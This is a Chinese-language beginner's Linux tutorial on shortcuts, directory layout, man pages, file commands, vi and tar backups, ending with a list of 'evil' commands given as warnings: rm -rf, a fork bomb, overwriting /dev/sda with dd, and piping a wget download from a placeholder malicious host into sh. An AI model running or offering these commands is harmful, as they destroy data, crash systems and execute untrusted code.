Linux基礎命令、快捷鍵、命令操作
Linux基礎操作、快捷鍵、命令
Linux命令的執行過程
命令----shell(命令解釋器)-----內核(kernel);
根據命令是否是shell的一部分,將命令分為內部命令和外部命令;內部是shell的一部分,外部命令是由安裝軟件提供
常用快捷鍵:
ctrl+c-->取消終止命令
ctrl+l-->清楚屏幕
ctrl+a-->光標移動到行首
ctrl+e-->光標移動到行尾
ctrl+f-->向前移動
ctrl+b-->向後移動
alt+.-->引用上一條命令的最後參數
tab-->補齊,一個tab補齊命令或參數,兩個tab顯示字母開頭的所有命令
Linux文件系統
1)文件名稱嚴格區分大小寫
2)文件名稱可使用/以外的任意字符,特殊字符不推薦使用
3 )文件名不可查過255個字符(這個就看就行了,誰心那麽大)
4)以.開頭的文件是隱藏文件,但是有兩個特殊的:
.:表示當前目錄。
..:當前目錄的上一級目錄。
如:/etc/init.d/
.表/etc/init.d/
..表/etc
echo 3 > /proc/sys/vm/drop_caches 清除內存
5)相對路徑:根據當前的目錄做描述
絕對路徑:根據/目錄開始做描述
Linux一切皆文件,所有文件都放在目錄下(/)
文件/目錄對應關系 相對路徑/絕對路徑
常用目錄的對應關系
/boot ##啟動文件存放目錄
/etc ##配置文件存放目錄
/proc ##系統內存狀態目錄,是系統快照
/dev ##存放硬件文件的目錄
/home ##普通用戶的家目錄
/root ##root用戶的家目錄
/var ##動態變化的數據存放目錄,如日誌、數據庫的數據文件
/usr ##用戶文件存放目錄
Linux的幫助命令
lhelp:內部命令幫助(help cd)(ls --help)
man:命令手冊(man 命令):詳細介紹命令的使用
man的區域類型: 格式:man 1/5/8 命令/文件
1-->用戶命令
5-->配置文件的格式幫助
8-->管理員管理工具的幫助
基本結構
sections(區域)
name(名字)
synopsis(命令的語法)
description(描述解釋命令)
option(選項)
EXAMPLE(使用的案例,經使用)
author(作者)
seealso(其他相關幫助)
Linux常用的增、刪、改、查
常用目錄的對應關系
/boot ##啟動文件存放目錄
/etc ##配置文件存放目錄
/proc ##系統內存狀態目錄,是系統快照
/dev ##存放硬件文件的目錄
/home ##普通用戶的家目錄
/root ##root用戶的家目錄
/var ##動態變化的數據存放目錄,如日誌、數據庫的數據文件
/usr ##用戶文件存放目錄
查看:cd pwd ls du which find cat more/less head/tail grep wc,
目錄的查看:cd,pwd,ls,du
cd:目錄的管理,切換目錄
( cd /etc/sysconfig ##進入絕對目錄
cd ../../ ##到根目錄
cd - ##回到上一所在目錄
pwd ##驗證
cd ##回家
pwd
useradd u01 ##創建用戶u01
e cho 123123 |passwd --stdin u01 ##給u01修改密碼為123123
cd ~u01 ##進入u01的家目錄
pwd ##驗證為/home/u01)
pwd:查看當前工作目錄
(pwd ##直接查看當前工作目錄即“.=?”
cd /etc/init.d/
pwd ##查看到是鏈接後的目錄
pwd -P ##查看物理路徑/etc/rc.d/init.d)
ls:列出當前目錄下文件
(-lh ##長格式查看當前目錄下的內容
-ld /boot ##查看/boot本身的詳細信息
-R / ##顯示整個系統的所有內容
--help ##查看幫助,推薦使用-lt按時間排序,-lS按大小排序
-a ##顯示隱藏文件如.bash_profile)
du:統計文件或目錄大小
(du -sh / ##統計根目錄總大小
du -sh /* ##統計根目錄的子目錄的總大小
du -sh /etc/redhat-release ##統計單個文件大小)
文件的刪和改:rm、mv、vi/vim
rm:刪除文件或目錄
mv:移動或修改文件名稱,位置
vi/vim:修改創建文件
(:% g/^$/d ##刪除空行
:% g/^#/d ##刪除#開始的行
: !ip a ##在vi中執行命令
ctrl+r ##重做,與u撤銷相反)
文件的增加:mkdir、touch、ln、cp
mkdir:創建目錄
touch:創建文件
ln:創建文件目錄的超鏈接
cp:復制文件或目錄
tar備份系統:gzip,bzip2,xz,tar
tar -zcvf 文件名稱-日期.tar.gz 備份的目錄或文件 ##調用gzip
tar -jcvf 文件名稱-日期.tar.bzp2 備份的目錄或文件 ##調用bzip2
tar -Jcvf 文件名稱-日期.tar.xz 備份的目錄或文件 ##調用xz
恢復:解壓縮
tar -zxvf 文件名稱-日期.tar.gz -C 釋放的目錄 ##其他格式相同
查看壓縮包中的內容:
tar -ztvf 文件名稱-日期.tar.gz ##不解壓查看,其他格式相同
次文檔皆是一下比較簡單的操作命令,與一些比較簡單的簡介,皆是參考
Linux的操作需要我們長時間的積累,這需要我們付出時間與精力去學習
邪惡的操作命令
rm-rf 命令
:(){:|:&};: 命令 ## fork 炸彈具體操作是通過定義一個名為 ‘:‘的函數,它 會調用自己兩次,一次在前臺另一次運行在後臺。它會反復的執行下去直到系統崩潰。
命令 >/dev/sda
mv 文件夾 /dev/null
wget http://malicious_source -O- | sh #sh會(無條件的)執行下載下來的腳本
> file
dd if=/dev/random of=/dev/sda ##會向塊設備sda寫入隨機的垃圾文件從而擦出數據,你的系統可能陷入混亂和不可恢復的狀態
Linux基礎命令、快捷鍵、命令操作